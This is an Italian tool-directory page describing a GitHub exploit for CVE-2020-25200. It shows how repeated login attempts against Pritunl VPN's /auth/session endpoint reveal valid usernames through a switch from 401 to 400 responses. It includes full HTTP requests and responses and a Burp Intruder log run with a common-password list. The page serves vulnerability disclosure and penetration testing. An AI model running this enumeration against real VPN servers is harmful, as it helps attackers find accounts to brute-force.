Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/lukaszstu/pritunl-cve-2020-25200
RicognizioneAnalisi delle VulnerabilitàRaccolta InformazioniSicurezza WebPenetration TestingAutenticazione
GitHublukaszstu/pritunl-cve-2020-25200

pritunl-CVE-2020-25200

Exploit per CVE-2020-25200: enumera i nomi utente validi di Pritunl VPN analizzando i cambiamenti nei codici di risposta HTTP dopo ripetuti tentativi di accesso.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
4116 anni faNon ancora revisionato
Condividi

CVE-2020-25200

Server Pritunl VPN - Versione interessata: Pritunl v1.29.2145.25 553bbd

=========================

Pritunl 1.29.2145.25 consente agli aggressori di enumerare i nomi utente VPN validi tramite una serie di tentativi di login su /auth/session. Inizialmente, il server restituirà l'errore 401. Tuttavia, se il nome utente è valido, dopo 20 tentativi di login, il server inizierà a rispondere con l'errore 400. I nomi utente non validi riceveranno errore 401 indefinitamente.

=========================

Per sfruttare questa vulnerabilità, l'aggressore deve iniziare a forzare il login ripetutamente con lo stesso nome utente. Inizialmente, il server restituirà l'errore 401, ma dopo 20 tentativi, il server inizierà a restituire l'errore 400 se il nome utente è valido. Se il nome utente non è valido, il server continuerà a restituire l'errore 401 indefinitamente. Pertanto è possibile verificare se il nome utente esiste ricevendo l'errore 400.

=========================

Richiesta e risposta HTTP per un nome utente valido (dopo 20 tentativi):

POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 40 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login

{"username":"pritunl","password":"paul"}

HTTP/1.1 400 Bad Request Cache-Control: no-cache, no-store, must-revalidate Content-Length: 76 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:39 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close

{"error_msg": "Too many authentication attempts.", "error": "auth_too_many"}

=========================

Richiesta e risposta HTTP per un nome utente non valido (dopo 20 tentativi):

POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 39 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login

{"username":"admin","password":"scott"}

HTTP/1.1 401 Unauthorized Cache-Control: no-cache, no-store, must-revalidate Content-Length: 83 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:43 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close

{"error_msg": "Authentication credentials are not valid.", "error": "auth_invalid"}

========================= Log di Burp Intruder:

0 401 false false 370 1 123456 401 false false 370 2 password 401 false false 370 3 12345678 401 false false 370 4 qwerty 401 false false 370 5 123456789 401 false false 370 6 12345 401 false false 370 7 1234 401 false false 370 8 111111 401 false false 370 9 1234567 401 false false 370 10 dragon 401 false false 370 11 123123 401 false false 370 12 baseball 401 false false 370 13 abc123 401 false false 370 14 football 401 false false 370 15 monkey 401 false false 370 16 letmein 401 false false 370 17 696969 401 false false 370 18 shadow 401 false false 370 19 master 401 false false 370 20 666666 400 false false 362 <-------------- cambiamento della lunghezza e del codice di risposta 21 qwertyuiop 400 false false 362 22 123321 400 false false 362 23 mustang 400 false false 362 24 1234567890 400 false false 362 25 michael 400 false false 362 26 654321 400 false false 362 27 pussy 400 false false 362 28 superman 400 false false 362 29 1qaz2wsx 400 false false 362 30 7777777 400 false false 362 31 xxxxx 400 false false 362 32 121212 400 false false 362 33 000000 400 false false 362 34 qazwsx 400 false false 362 35 123qwe 400 false false 362 36 killer 400 false false 362 37 trustno1 400 false false 362 38 jordan 400 false false 362 39 jennifer 400 false false 362 40 zxcvbnm 400 false false 362 41 asdfgh 400 false false 362 42 hunter 400 false false 362

<>

=========================

Ricercatore di sicurezza - Lukasz Studniarz

Scarica lo strumento